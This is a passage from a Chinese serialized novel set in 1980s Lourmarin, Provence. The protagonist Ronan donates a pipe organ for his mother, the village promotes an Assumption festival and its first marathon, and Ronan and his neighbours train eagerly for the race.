“这笔钱市场中心也可以出,毕竟管风琴最后要落到教堂嘛,这钱应该我们出。”负责卢尔马兰村镇建设和市场发展的希尔维同样愿意将这笔钱承担下。 沃克吕兹省旅游局的大力支持,让卢尔马兰政府的各个部门都阔气了起来,虽然人手不太多,但花钱都很大方。 布兰科用钢笔敲了几下笔记本,笑着说: “罗南给村里做了这么大的贡献,几万法郎就想把他打发了?” 大家听出这是一句玩笑话,但还是挖空心思思考如何回答。 罗南确实又给卢尔马兰帮了一个大忙。 管风琴可以给卢尔马兰带来新的旅行特色,还能提升在本地信徒心中的威望,可谓是一举两得。 这两件事带来的收益和价值,确实不是那几万法郎可以比拟的。 但更多的我们怎么给啊? 见其他人一副若有所思的样子,布兰科开启了自问自答的模式,再次开口说道: “我相信在这件事上,罗南不在意花了多少钱,如果真的在意,他就不会如此大费周章给妈妈找管风琴,或许在这件事情上也可以让他收获‘一举两得’的结果。” 克劳德冥思苦想了一会,皱着眉头说: “除了可以让母亲实现梦想我想不出他可以从中获得其他的好处。” 布兰科笑着平摊双手: “怎么会没有其他?好了,别打断我的思路,我还有一些想法想要和你们讨论,也许可以让圣母升天节活动变得更加不一样.罗南的事情等下再聊。” 罗南每天早上都会带着呼呼和马赛出去跑一会,有的时候是5公里,有的时候是10公里。 这个距离在他的‘舒适范围’之内,跑完不会影响一天的状态,出出汗甚至有些‘神清气爽’。 超过10公里的训练,每周只会跑一次,不会过度消耗体力。 经过几次10公里的‘拉练’,呼呼已经彻底没脾气,以前它盼着罗南来接它,现在见到罗南有的时候会绕道跑。 虽然见到马赛仍然会拿出一副要杀狗的气势,但每次晨跑回来,一羊一狗累的只有力气大喘气,家里能清净好几个小时,而且这个‘清净’的时间在逐日拉长。 马赛的耐力比呼呼好,跑完十公里回来,狠狠吃一顿,再死死睡一觉,状态马上能恢复过来。 为了给自己上上训练强度,也为了找找马赛的极限在哪里,罗南第一次跑了20公里。 呼呼肯定跟不下这么长的距离,跑一半就得掉队,于是罗南叫来了维埃里,让他开着自己的皮卡,作为‘后勤’车辆。 20公里的距离足够从卢尔马兰跑到阿普特,罗南肯定不能这样跑.他的长跑路线是围着卢尔马兰一圈一圈的转。 维埃里作为‘足球小将’自然不会老老实实的开车跟着,他把车停在路途上,加入了一人一羊一狗的长跑队列。 “你可以啊,现在得5公里了吧,还在跟着,我记得你好久没运动了?”罗南连续跑了两三个月,已经是个业余的长跑健将。 维埃里虽然热爱足球,但会考前学习没时间,会考后又马上进入了职场依然没时间.他有好久没有去踢足球了。 “其实我每天晚上都会踢一会足球,也不算是完全没有运动。”维埃里跟在罗南身后,气息时快时慢,脚步也不平稳,显然在苦苦支撑。 “伊莎贝尔陪你吗?”罗南笑着问。 维埃里没约自己,那一定是约了别人,这个别人是谁显而易见。 “是啊,每天她下了班,我们会去夜游一会,我会带上足球。”可能维埃里自己都不知道,他回答的时候嘴角噙着笑。 罗南脸上的笑容可比维埃里大多了。 “挺好挺好,以前你只有足球一个爱好,现在变成两个了,诶对了,最近你们俩相处的怎么样?如果想带伊莎贝尔出去玩提前跟我说啊,我给她倒班。” 维埃里一毕业就开始工作,没有像其他毕业生一样享受超长假期,自然没有机会带女朋友出去玩玩。 当然了,罗天海‘隐退’之后,伊莎贝尔在餐厅里的重要程度直线上升,她也挺忙的。 不过为了小舅子的幸福,罗南愿意给他俩放个假。 最好这两孩子能加把劲,提个速什么的,这样他和佐伊的孩子就有玩伴了。 维埃里年纪轻,脸皮薄,还有亲密恐惧症,最多说两句伊莎贝尔的话题,再多就不好意思了。 他主动把话题插去了其他方向: “第二批集市已经入驻完毕。” 上个月初,维埃里接手了集市的生意,他的同学和罗南之前招聘的员工一起,将粉红酒和中餐推向了更多的特色集市。 这个月底,在罗南和佐伊的婚礼举办后不久,第二批集市入驻完毕,这次的员工全部是维埃里的同学们。 罗南稍微侧了一下脑袋,余光看向维埃里问: “这次似乎顺利不少?你是如何说服你的同学们来帮忙的?” 上个月维埃里邀请同学并不顺利,很多人都把他拒绝了。 罗南以为第二批入驻会在许久之后,没想到这小子真在约定的时间内完成了目标。 维埃里的声音从罗南身后传来: “上个月刚考完试,大家都不想那么快工作,玩了一个月,之前拒绝的人里有不少主动联系我,还有一些人拒绝是因为看不上这份工作,想要找更好的,但找了一圈.发现还没有跟我去摆摊有前途呢。” “摆摊有前途?”罗南哭笑不得的问,“你是不是忽悠他们了?” 摆摊在很多人眼中是一份不稳定的工作,父母并不想让孩子从事。 维埃里笑着说: “我没忽悠,是他们自己想明白的。” “想明白什么?”罗南不解的问。 “想明白我为什么能一毕业就管几十个人,想明白谁在卢尔马兰是最会赚钱的,想明白跟着谁最有前途。”维埃里突然加速超过罗南,拿出了一股子冲刺的架势,“不行了不行了,跑不动了,后面不陪你了。” 罗南没有着急加速,按照自己的节奏继续行进: “我可没有那么大的本事,你得找机会和你的那些同学说明白.跟着我不一定是好的!” 6公里时,维埃里离开了队伍。 9公里,呼呼开始耍赖,拉着羊角都不肯往前一步。 维埃里无奈只能开车把它拉回姐姐家,完成了今天的使命。 后面的11公里路是罗南和马赛完成的。 罗南的状态不错,保持节奏不变,身体没有太大的反应,也没有喘很大的气。 临近终点,他自信的认为,下周可以把距离拉到30公里试试。 马赛的状态比罗南还要好。 最后一段是从卢尔马兰跑回家里。 它大概是认出了这是回家的路,把罗南甩得远远的,独自跑了回去。 罗南跑到家,看到它正在佐伊的怀里撒娇,屁股扭来扭去,发出了扭捏的鼻音。 “真跑了20公里?”佐伊一边给马赛按摩,一边问缓缓停下的罗南。 罗南神气的扬起下巴: “当然,我说跑20公里,就跑20公里。” “马赛宝宝真棒,居然跑回来了。”佐伊一点都没有吝啬她的夸赞。 “你怎么下来了?”罗南认真做着拉伸,非常注重运动的科学性。 “我见到维埃里把呼呼拉回来,下来陪了它一会,确认没有问题再回去,但刚要走,康蒂娜又来找你了,刚把她送走。”给完马赛情绪价值,佐伊开始夸起了罗南,“你也太厉害了,康蒂娜问我你去哪儿了,我说你今天要跑20公里,还没回来,我真想把她当时的表情拍下来给你看原来他们根本没想过你能跑20公里,更没想过你能完成马拉松全程。” “那他们逼着我参赛干什么?”罗南诧异极了。 当时希尔维‘逼迫’他同意时,都快把他夸上天了——说罗南是卢尔马兰百年不遇的长跑天才,她从来没见过那么能跑的人,罗南不去参赛是整个卢尔马兰的遗憾。 怎么? 都是哄骗我的? 佐伊叉着腰说: “是啊,我也好奇,既然不看好你的能力,为什么要逼你参赛呢?康蒂娜还是太嫩了,还真被我套出了原因。” 罗南出发的时间早,气温还没有那么炎热。 跑完20公里,太阳已在头顶。 一停下来,汗流的更多,整个人跟被水泡过似的。 这个时候如果前面有一杯粉红酒,罗南会毫不犹豫的喝下去。 一想到这个场景,他便不再‘埋怨’希尔维哄骗自己心甘情愿的准备马拉松。 不过他还是想知道原因。 “什么原因?”罗南擦了擦汗。 佐伊看到罗南一头的汗水,放弃了亲他的冲动: “康蒂娜说,你是卢尔马兰的‘精神象征’,在附近几个村子也很有名,你来参加有助于比赛的报名,她还说,在小吕贝隆,能起到这种号召作用的只有你。” 刚刚是维埃里,现在又是佐伊。 不是,你们姐弟俩商量好了,今天要让我开心一下么? 罗南谦虚的说: “太夸张了,真的太夸张了,我哪有那么大的影响力,最多影响影响卢尔马兰的村民,到了外村谁知道我是谁?” “怎么不知道?”佐伊严肃的指正,“你在梅纳村的摊位是不是最火爆的?” 罗南想了一下,点头道: “是,经常去买菜的人,应该都认识我。” 梅纳村集市除了是游客的第一选择,也是小吕贝隆本地人购物的第一选择。 那些习惯去梅纳村集市买东西的人,都知道有罗南这号人。 这便是罗南执着于将粉红酒和中餐开到普罗旺斯每一个集市上的原因——集市文化,在普罗旺斯实在太重要了。 佐伊的眼睛弯弯勾起,似乎在为罗南骄傲: “马上就会有更多的本地人认识你。” “为什么?”罗南揉捏着充血的大腿问,“对了,康蒂娜来找我有什么事?” 佐伊自豪的扬起脑袋,比她自己取得成绩还要开心: “康蒂娜说,政府接受了你的提议,同意你捐赠那台管风琴,搬运、维修和加固教堂的费用就不用你出了,因为他们正计划重新翻修卢尔马兰教堂,而且这次翻新会记在你的头上。” “什么意思?”罗南一时间没有听明白。 佐伊还是忍不住在罗南脸上亲了一下: “意思就是,只需要花5万法郎就可以得到一台9世纪的管风琴,不用管能不能修好、怎么搬来,政府全部搞定,而且他们搞定的不止是你给妈妈的礼物,还搞定了你的‘名声’——管风琴和翻修教堂的功绩都将记在你的头上,它们会出现在圣母升天节的新宣传单上,出现在吕贝隆的每一个村子!” 第567章 留给我们的时间不多了! 卢尔马兰各处重要地标附近的告示牌上,都张贴着8月要举行的两项重大活动信息。 马拉松比赛的海报是红色的,让人一眼就联想到了激情这个单词。 圣母升天节的海报是温暖的米白色,像是‘圣母’在拥抱她的孩子。 但一夜之间,米黄色的海报凭空消失,取而代之的是一份杏色的海报,这情况立即引来了好事的本地村民。 以前,村里的告示牌上不是贴着谁家丢了东西,就是贴防火、防盗、防秋季食菌中毒的科普教育,大伙儿看一眼就走,根本起不到‘告示’的意义。 后来,卢尔马兰有能力举办自己的活动了,政府要求告示牌上只预告未来一到两个月村子要举行的大事件,或者近期发生有利于村民的大喜事。 那之后村民们出门都会留意一下告示牌那里,毕竟和大伙儿息息相关了。 见换了新海报,村民们以为又有新热闹可看,没想到这张杏色的海报还是在宣传‘圣母升天节’活动,只是和之前那个版本相比,多出了一些新的信息。 第一处新信息为——圣母升天节当天,将有管风琴大师和唱诗班到访卢尔马兰,他们将为圣母献唱,民众也可以加入其中,亲眼目睹‘上帝之声’首次响彻吕贝隆上空这一值得纪念的日子。 第二处更新为——为了配合‘上帝之声’来到吕贝隆、来到卢尔马兰,政府决定翻修卢尔马兰教堂,即日起教堂关闭。 第三处新信息是——管风琴和卢尔马兰教堂翻修,由本村村民罗南先生发起并捐赠,让我们感谢主最虔诚的孩子。 卢尔马兰的虔诚天主教信徒数量不多。 相较于感谢主最虔诚的孩子,村民们更加倾向羡慕村里最能赚钱的年轻人。 那两天,罗南无论在哪里出现,都会收获一大片羡慕的眼神。 似乎每一个看到罗南的人都在琢磨——这小子怎么那么有钱呢?钱都富裕到捐赠的地步了? 根据马拉松赛上收获到的信息,罗南猜政府把他‘架’得那么高,是为了吸引来更多外村村民报名活动。 因为就像佐伊说的那样,在一定程度上,罗南确实是小吕贝隆的名人。 也正如维埃里同学们想的那样.罗南是许许多多年轻人的追逐人物。 以上这两点,他罗南认了! 至于其他方面那纯属想多了。 像什么佐伊说的可以得到本地人的拥护、路易说的扩充外村知名度、巴蒂说的反哺中餐厅、编织生意和斯特斯加酒庄等等一丁点没看到。 海报贴出去后,罗南格外留意几门生意的情况,但好几天过去,没有出现任何人流量波动,和之前一样一样的。 这一天,罗南晨跑8公里结束,洗完澡惯例去卢尔马兰游客中心转一圈,看看葡萄园野餐项目有没有变得格外受欢迎。 万一那些人嘴开了光,真的映射到他的生意上了呢? 可一见到杜马等人还在游客中心等活儿,罗南便知道——希望又落空了。 不过来都来了,圣母升天节的报名地址也在游客中心,罗南便顺道问问升级后的活动报名情况。 “这两天报名圣母升天节活动的人有增多吗?”罗南把杜马带到一个角落,远离熙熙攘攘的人群。 “有有有,几乎每天都有100个左右来报名,听说总报名人数过600了。”杜马如是说道。 卢尔马兰教堂承载能力有限,根本容不下600多人一起进去唱赞美诗。 罗南不知道布兰科是怎么想的,但他觉得这次圣母升天节活动已经可以用‘无比成功’来形容,因为来参加活动的人要交70法郎并不是免费的。 一想到教堂的承载能力,罗南便想起了他的管风琴。 康蒂娜那天去罗南家告诉佐伊,他们已经联系到了管风琴维修师去艾克斯评估乐器情况也不知道现在什么进度了? “行了,你忙吧,我去餐厅看看。”罗南对杜马点了下头,就要扭头离开这里。 从游客中心回餐厅的路途上会路过卢尔马兰老教堂,罗南打算去那看看。 杜马突然叫住罗南问: “你怎么不问问马拉松有多少人报名了?” “马拉松也在活动中心报名?”罗南左右看了看,没有见到政府的员工,“不对吧,我记得这个活动的报名地点在别处。” 卢尔马兰政府上下对马拉松活动信心十足。 他们相信一定会有许多人来报名,因此没有把报名地点设定在游客中心,而是单独找了一个地址。 “是在别的地方,但今早我碰到了克劳德,和他聊起了马拉松的事。”杜马神秘一笑。 罗南扭头笑着看他: “一定很多人是不是?看你这表情就知道了,不过马拉松的报名费是100法郎,虽然它的内容更加符合普罗旺斯人的喜好,参与度也更加大众,不过根据圣母升天节这里的活动数据来猜——” 罗南认真想了一下: “2000人?” 圣母升天节是宗教节日,这就筛选走了许多人。 马拉松是一场长达‘42.195公里的开心之旅’,显然更加符合普罗旺斯人的胃口。 不过报名费也更加昂贵。 坦白讲,罗南不仅不懂音乐,对体育也不够了解。 他还以为马拉松是免费的. 为此,希尔维给他做了一次简单的科普。 原来在80年代的法国,所有体育赛事都不是免费的,连梅纳村足球队踢‘野球’都要缴纳一定的费用。 如果不交那100法郎,罗南可能会报一个很高的参与人数预估,但他觉得应该没有这么多人交钱来‘找罪受’吧? 别管中途有多快乐,那可是实打实的42.195公里! 杜马突然伸出一根手指,差点戳到罗南的眼睛: “一万人报名!你敢信是一万人!因为人数实在太多,旅游中心要对他们进行筛选,最终将有5000人得到参赛的机会,上帝,这些选手再加上他们的家属至少好几万人,很难想象卢尔马兰有朝一日可以挤入那么多人。” 普罗旺斯人爱热闹,选手来来参加这么欢乐的活动绝不可能只身前往,妻子、丈夫、子女、父母、朋友、邻居等统统都会同行。 卢尔马兰平日里只有几千到一两万的游客量都‘拥挤’成这个样子,再加上这些选手和他们的亲朋那天的盛况简直无法想象。 这还是我们熟悉的卢尔马兰吗? 紧接着,杜马发出更加高亢的声音: “每人100法郎报名费,5000个人参赛一共是50万法郎,再加上圣母升天节的收入,不算税收,政府一个月赚了好几十万法郎,真够厉害的!” 罗南没空和杜马一同感慨于卢尔马兰政府的赚钱能力,暗骂了一句: “该死的,居然这么多竞争对手?” 卢尔马兰政府的办事效率不同于艾克斯文物局,当罗南路过老教堂,这处13世纪的古迹已经暂停了营业,外部也做好了防护处理。 罗南今天运气不错,在教堂门口碰到了康蒂娜。 这次监督教堂翻修的工作落到了她的手里。 “已经开始了?”罗南指着干活的工人说,“都是老朋友了。” 他在其中认出了好几个熟人,有的参与了斯特斯加酒窖的修建,有的参与了卢尔马兰城堡的翻新只能说今年卢尔马兰‘修修修’的脚步一刻没停。 本以为老教堂能‘幸免于难’,这次好了,也被波及了。 现场施工有些吵,康蒂娜走近了些才回答道: “开始好几天了,这次留给我们的时间比较紧。” 现在的时间已经来到8月份,距离圣母升天节活动只有半个月时间.又是一项艰难的推进。 罗南关心的问: “那个管风琴的情况怎么样?维修起来费时吗?” 政府敢把管风琴写进圣母升天节的宣传单里,证明专家检查过后给出的判断是可以修复,只是时间长短的问题。 康蒂娜做了一个祈祷的手势: “谢天谢地,我们找来的专家说,这个管风琴之前应该没有怎么使用过,维修起来只需要格外的小心,并不费事和费力,否则真的要忙不过来了。” “太棒了,太棒了。”罗南也做了一个祈祷的手势。 如果一切顺利,圣母升天节活动之后,母亲冯珍就可以开始她的‘音乐启蒙’。 想到这里,罗南决定回家问问父母和佐伊对‘圣母升天节’的活动是否感兴趣。 如果不排斥,可以带着冯珍近距离的感受下‘上帝之音’的魅力,毕竟这次请来的是管风琴大师呢。 诶,不知道这位大师是否有意向收徒弟? 罗南本想和康蒂娜多聊两句,但施工的声音逐渐盖过了他们的聊天音量。 快速收了个尾,罗南与康蒂娜告别,继续向着商业街上的中餐厅行进。 不知道教堂里面在干什么,刚刚那个巨大的噪音吵得罗南脑瓜子嗡嗡的,走出去了好久了,耳鸣还没有消失,张嘴闭嘴也没有效果。 而且不知道是不是心理原因,走着走着,罗南居然又听到了施工的‘咣当咣当’声。 他揉了揉耳朵,左右看了看: “出幻听了?不会给我搞出工伤了吧?” 又往前走了一会,罗南确信——确实有地方在施工,而且是在前面,不是后方老教堂的位置。 寻声找去,居然来到了一处眼生的街道附近。 “新的商业街。”罗南马上反应了过来。 之前商业街被挡板拦下,罗南从未进去。 随着8月来临,政府同意部分店铺施工装修,把围栏和挡板拆了。 “诶,你也来了?” 罗南回头,看到了巴蒂和桑德琳。 在他们身后是脱下了西装,换上干活衣服的卡福,和几个同样脱下了西装的精壮小伙子。 “我路过这里,听到了施工声,过来看看。”罗南疑惑的问,“不是说等到马拉松结束再开始施工吗?” 马拉松前后,一定有许多外地人来卢尔马兰游玩,为了备齐充分的人力接待顾客,几天前卡福给出的装修开始时间是马拉松结束。 而新餐厅和甜品烘焙店的装修开始时间,因为同样的原因也定在了那个时候。 卡福一脸严肃的说: “但是你看看,这些家伙有多着急,从8月的第一天开始这里就叮叮咣咣了。” 桑德琳的表情也很认真: “我们的装修太费时了,现在是一场和时间赛跑的战役,听你说,10月份卢尔马兰要举行一场大型美食活动,我们希望在赶在那之前开业,每缺席一场活动就是错事了一次‘介绍’自己的机会,听说马拉松和圣母升天节的反馈都不错?我们必须加速了。” 巴蒂的脚步走得更快了,路过罗南掀起了一股热风: “留给我们的时间太紧了!” 罗南跟着几个人去了卢尔马兰手工艺合作社的商铺,听完了卡福跟几个伙计交代如何开展之后的工作。 巴蒂对装修的事情很上心,而且他们的方针是轻装修重装饰,总体来说没有太多难点和设计在,主要看基础装修之后的家具搭配和组合能力。 没有过多的浪费时间,罗南独自离开,往中餐厅行进。 但是在路上,他又遇到了‘熟人’。 不,不是熟人,是亲人。 罗南居然在新商业街门口看到了罗天海、冯珍和莉亚。 “餐厅和甜品烘培店的装修开始日期也不是今天吧?”罗南惊讶的问。 你们一个两个是怎么回事? 莉亚笑着说: “不是,但今天我们约了索莱娜去现场看看,聊聊装修的事。” 这次三个店铺的装修都没有让罗南费心,不过烘培店和新餐厅有许多设计巧思在,也有一定难度,时至今日,他们和设计师还在频繁的沟细节。 “昨天那个电话打了2个小时,还没沟通好吗?”罗南问罗天海。 罗天海背着手摇头: “沟通好了,但我和莉亚又想到了更好的方案,想要快速和设计师落实是否可行。” 冯珍看到了村里的告示,知道儿子不仅捐了管风琴,还支持了教堂翻修。 她不懂什么精神领袖、号召力,只知道——罗南做这些全部是为了他这个母亲! 此刻冯珍的母爱像是滔滔江水一样,汹涌的拍打着她的内心: “新商业街要开许多餐饮店铺,那些都是我们的挑战,早一天装完就早一天抢占先机,得抢时间啊,这次时间太紧了!” 罗南表情复杂的看着几位长辈。 时间紧,时间紧.你们一个个这么着急,我也得抓点紧了! 第568章 你们这群没苦硬吃的可恨家伙! 如果给每个月起一个标题,那么八月的主题一定是——时间的战役。 教堂和管风琴要抢在圣母升天节之前投入使用。 新餐厅、甜品烘焙店和卢尔马兰手工艺合作社旗舰店要和同行比赛谁可以抢占先机。 罗南同样要准备一场时间的战役,而且在这场战役中,他是实打实的要和时间比赛。 就像桑德琳所讲的那样——未来卢尔马兰举办的每一次活动都将是一个‘介绍自己’的宝贵机会。 圣母升天节暂时没有带来预期的收益,需要继续观望。 想要在8月取得超过预期的收益卢尔马兰第一届马拉松比赛至关重要。 斯特斯加的曝光是一方面,另一方面要靠小吕贝隆地区的‘名人’罗南先生。 但在5000名参赛选手中脱颖而出无异于‘大海捞针’,想要在比赛中闪耀卢尔马兰,需要投入更多的努力! 不过在大赛前过度耗费体力是大忌,罗南选择在白天抽出一些时间训练身体机能,协调性,再加上一些力量训练。 中午一点多,罗南利用午饭之后的闲暇时间在家门口做俯卧撑,汗水滴了一地。 临近体能极限的他‘崩溃’的想着: 到底是谁在报名参加马拉松啊? 这么热的天,在家里喝着冷饮吃水果他不舒坦吗? 这不是没苦硬吃? 不一会,他听到葡萄园外有人大喊‘加油’的声音,那声音听起来声嘶力竭,还伴随着风箱一般的大喘气。 罗南以为是有人来给他加油了,站起来一看,是脸红的像猴屁股的康奈尔。 小胖子没有要停下的意思,跑过罗南家的葡萄园,继续向特奥家那个方向跑去。 “你在干什么?大中午的跑步?”罗南远远的喊。 康奈尔弯着腰低着头,跑的像个丧尸,随时可能栽倒在地: “我也报名了马拉松赛,正在训练。” “你也报名了?”罗南瞪大了眼睛。 前一秒他还在想着,是谁在报名马拉松,下一秒他就看到了一个‘没苦硬吃’的人。 “你为什么要报名?”罗南小跑过去。 这位选手请留步,我想采访一下你! 康奈尔停下来,手扶膝盖,上气不接下气的说: “因为宣传单上写,比赛期间可以吃到超过100种美食,我想去看看都有什么。” 罗南把自己手里的水递给康奈尔,真怕他下一秒倒下去: “那你去看看就可以了,何苦要参加呢?” 你肩膀上也扛着巨大的压力吗? 康奈尔拿起水咕咚咕咚一口干了: “看和吃不一样啊,听说还有牡蛎,我最爱吃牡蛎了,平时根本不舍得买,但海报上号称可以无限畅吃。” 康奈尔肩膀上没有巨大的压力,但他有巨大的胃袋和贪吃的天性。 卢尔马兰政府果然找到了普罗旺斯人的‘软肋’.罗南心中腹诽了一句。 “只是为了吃,不用训练,慢慢跑就好了。”罗南担心康奈尔是不想耽误斯特斯加的工作,才在午休时间出来训练,“还有别这个时间跑,太热了,以后早上跟我一起跑,或者其他时间也行,特殊情况特殊待遇,我可以给你批假期。” 但小胖子的脑回路无比惊奇: “我特意挑选这个时间训练,想要练习一下‘抗热’性。” 考虑到此次参赛的选手众多,卢尔马兰也没有太大的住宿接待能力,选手们大多会在比赛当日抵达。 几万人在同一时间涌入卢尔马兰,‘早高峰’一定无比恐怖,所以比赛将于早上9点举行,没有选择在清晨。 这样一来,跑不了一会,选手们就要暴露在烈日之下。 罗南看到比赛章程,想的是这会大大的有利于选手们和粉红酒‘建立’感情,但康奈尔居然想到了要练习‘耐热性’,真是让罗南大开眼界。 康奈尔喘了一口气,继续跑起来: “在专业能力上我不占优势,就得在这些细节上另寻出路,每超过一个人我就可以多吃一个牡蛎,落到后面万一新鲜的都被挑走了怎么办?万一被吃没了怎么办?再见罗南,我得继续努力了!” 罗南望着康奈尔的背影不知说什么好了。 为了吃,这么拼吗? 卢卡斯和特奥离开有一段时间了,斯特斯加的‘配额制度’逐步推行了下去,不同渠道的供货量有了明显的变化。 担心康奈尔中午跑晕了脑袋,影响下午的工作状态,罗南下午特意去了一趟山坡上的斯特斯加酒窖,检查配货单上的数字有没有纰漏。 结果配货单没有问题,康奈尔的状态也没有什么问题,扛箱子比罗南还要麻利。 “不要担心我,每天运动的又不是只有你我也每天都运动啊,只不过我们运动的内容不同而已,而且比你多运动了十几年呢。” 罗南笑着拍了下酒桶: “怪我,忘记你是农夫出身。” 真是的,他在担心个什么? 康奈尔的身体素质比他还好呢! 检查完供货单,罗南离开酒窖去开车子,远远的看到北坡的农田上多出了一台拖拉机,他问康奈尔: “那台拖拉机是谁的?不是亨利之前的旧的,也不是我买的新的。” 他的地上,怎么出现了其他人的机器? 康奈尔远看不认识,近看也不认识,摸着脑袋说: “你不说我还真没注意,这是谁的拖拉机?什么时候出现在这里的?你等等,我去打电话问问亨利。” 罗南的农田全部由亨利打理,他肯定知道这是怎么回事。 不一会,康奈尔跑回来,告诉罗南,电话里亨利也不清楚那是谁的拖拉机,他现在就赶过来。 罗南和康奈尔一起坐在车子里等亨利。 但他等啊等啊等,等了将近30分钟都没有见到亨利的影子。 要知道亨利之前开着他那辆比他祖父还要高寿的拖拉机赶过来,也用不了15分钟。 怎么会这么久呢? 康奈尔正打算再去给亨利家打个电话问问情况,山下出现了一个乱糟糟的‘鸟窝’。 那个‘鸟窝’无限放大,再放大.幻化成了一个大活人出现在临近山顶的位置。 康奈尔用调侃的语气对着山下喊: “亨利,原来你是这个发型的啊,我还以为船长帽焊死在了你的头顶,今天怎么舍得把它摘下去了?” 见到罗南的车子,亨利满头大汗的抬头对康奈尔咆哮: “该死的,你为什么不告诉我罗南先生也在这里?这不是在耽误他的宝贵时间吗?” “你什么意思?我的时间就不是时间了吗?”康奈尔打开车门走了下去,生气的问,“你也知道你耽误了时间?我们都等你半个小时了!” 亨利跑到罗南车前,紧张的立正站好,给罗南解释: “抱歉罗南先生,我在备战马拉松赛,所以.所以选择跑来这里。” 罗南刚刚看亨利和康奈尔斗嘴还挺开心的。 最近特奥不在卢尔马兰,好久没有人和亨利拌嘴,感觉身边太清净了。 但你要是提马拉松 罗南惊讶的问: “你也报名马拉松了?你又是为什么呢?” 康奈尔家兄弟姐妹多,吃饭的时候要靠抢,他被食物所吸引有情可原。 亨利家现在的经济条件相当不错,顿顿有肉吃,而且亨利的口腹欲不是很重,他怎么也报名了呢? 亨利咧嘴一笑,露出了一口参差不齐的黄色牙齿: “为了那20万法郎的奖金!听说这次来参赛的选手都是业余的,我有夺冠的能力!!” 布兰科想把马拉松办成像是山羊赛跑那样的全民狂欢节日,不限年纪、不限地域、不限职业,也不限制服装,甚至鼓励大家穿着‘奇装异服’来卢尔马兰玩的开心,因此吸引来的大部分是本地普通人。 “不是啊。”康奈尔纠正道,“不是只有业余的人来参赛,也有职业马拉松选手,他们是政府邀请来的。” 这个信息罗南也是第一次听到,他严肃的问康奈尔: “真的假的?有职业马拉松选手来参赛了?” 康奈尔点着头说: “是啊,康蒂娜跟我说的,你们知道的,她是组委会成员之一,不会错的。” 罗南搓了搓下巴。 他和亨利一样,也以为参赛的都是业余选手,那么还是有机会通过成绩获取一些关注度。 但有职业选手来参赛.再抱有这个想法不是‘痴人说梦’了么? 然而现场还真有‘痴人说梦’的人。 亨利听到这个惊天噩耗,立即跑过去确认拖拉机的身份,发现这台机器是修建斯特斯加厂房的施工队开来的。 在怒骂对方把机器停在了不合时宜的位置、如果再有下次一定会给他个颜色瞧瞧后,亨利一溜烟的跑下山坡,看方向是卢尔马兰村的位置: “罗南先生,你们开车走吧,我跑回去,我要多多训练,争取把那些职业选手比下去!” 康奈尔在山顶笑的前仰后合: “亨利,你疯了是不是?你能跑过职业选手,我把你的*吃了!” 亨利这老小子跑得贼快,不一会快到山脚了: “我干了整整40年农活,每天顶着烈日劳作超过8个小时,这是那些细皮嫩人、大部分时间躺在沙发上看电视,偶尔才想起来出去跑跑步的人能比的么?哼,等着瞧吧,那20万法郎一定是我的,我要给丽莎买一辆美国车子!” 卢尔马兰村的现状便是普罗旺斯的缩影。 每当罗南走在乡间小路上,一定能看到在跑步的村民。 他们每一个人表现出来的模样都是没苦硬吃的样子——目光呆滞、喘着粗气、面部表情狰狞、一副要炸了这颗星球的厌世样子。 但这些努力准备的人中,有三分之二将在几天后失去比赛的权利——卢尔马兰正在进行专业的筛选,至关重要的结果将于几天后对外公布。 不过即使有这么高的概率被筛选出去,仍没有熄灭大伙儿备战的热情。 似乎每个人都自信的认为,自己可以成为那个‘幸运之子’。 罗南的晨间运动也变成了‘集体’项目。 见罗南和一羊一狗出现,不少村民会推开家门加入他们,但这次不是围观,而是跟着罗南跑完全程。 在经历过几天这样集体活动后,罗南震惊的发现——村民的体力和耐力强的吓人。 这其中他按照训练计划跑了一次30公里,居然有几个农夫能够顺利的跟完全程。 要知道他们才准备没几天,而罗南已经跑了好几个月。 康奈尔和亨利等人的态度和自信,再加上近期的发现,让罗南打消了通过成绩‘闪耀’卢尔马兰马拉松的计划。 跑不过职业选手,也很难跑赢业余选手他现在唯一能确定的是,通过几个月的努力和近期的训练,有能力跑完42公里的全程。 其他全部都是未知。 在这种情况下如何获取曝光度呢? 又有谁会在意比赛人群中一个不上不下的选手呢? 就因为他是罗南? 抱歉,到了那个时候,选手和观众们被充斥着荒诞的欢乐所包围请问罗南是哪位啊? 某天晚上,罗南躺在床上,把他的想法告知了妻子佐伊。 “你需要找另外的切入点。”佐伊很认真的分析。 罗南翻了个身,侧躺着看佐伊: “比如?” 佐伊对体育赛事不了解,对这类活动也不敢兴趣,无法给罗南提供太多实际行的帮助: “比如可以勾起普罗旺斯人情绪的事情,就像政府们策划马拉松的初衷那样,你看,他们围绕这一点做文章,吸引来这么多人参赛,说明这套逻辑有用。” 罗南双手抱头,平躺着自言自语: “我得好好想想。” 佐伊伸手去摸台灯: “先睡吧,明天再想。” 下一秒,罗南在佐伊的脑门上亲了一下,而后翻身而起: “你先睡,我出去想想,顺道加练一会。” 佐伊目瞪口呆的坐起来,看向已经窜到门口的罗南: “不是放弃通过‘成绩’取胜了吗?还练习?” 罗南的声音从黑暗的楼梯处传来: “不卷不行啊,亨利今天跑着去博尼约买菜,波热一边编椅子一边做蹲起,康奈尔背着巴蒂爬了100阶楼梯.” “太晚了,你出去的时候带着马赛一起。”佐伊不放心的喊。 “好的!”罗南大声回应。 佐伊打开窗户,看到罗南带着马赛离开家,才松了一口气,而后将手肘撑在窗台上,笑着自言自语了一句: “体力明明已经那么好了啊,都运动两个小时了,还有力气” 她打了个哈气,关上窗子,疲惫的躺了回去。 第569章 陌生的卢尔马兰 马拉松选手名单公布的日期终于到来。 在这份对外宣称绝对公平公正公开的名单上,卢尔马兰本地每一位报过名的村民的名字都在其中,那叫一个整整齐齐。 罗南猜,克劳德开如此大的一个‘后门’是不想打消大伙儿的积极性。 毕竟这是卢尔马兰人第一次愿意为旅行季做准备和花心思,绝对值得鼓励。 克劳德还在私下鼓励大家——努力把20万法郎奖金留在卢尔马兰! 除了一个个熟悉的卢尔马兰村民名字,比赛选手中还有古尔德村村长的夫人、吕贝隆消防队队员、梅纳村的屠夫、正在戈尔德旅居的柔道大师.和100多位来自全法的职业马拉松运动员。 虽然亨利自信的认为,农夫们有最强壮的体魄、最顽强的意志力和敢于和大自然对抗的勇气但很显然,他们要打的是一场硬仗。 不过好消息是,卢尔马兰人可以比外地选手更早的熟悉和适应‘比赛场地’。 卢尔马兰核心建筑区域面积实在太小,让比赛选手在村里通行会引起无法疏通的交通问题,马拉松比赛的路线是绕着村子进行。 不过在吕贝隆,把珍贵的土地用在修建宽阔的道路上太浪费,卢尔马兰辖区内的所有道路都是小径,它们的特色是——狭窄且没有标记。 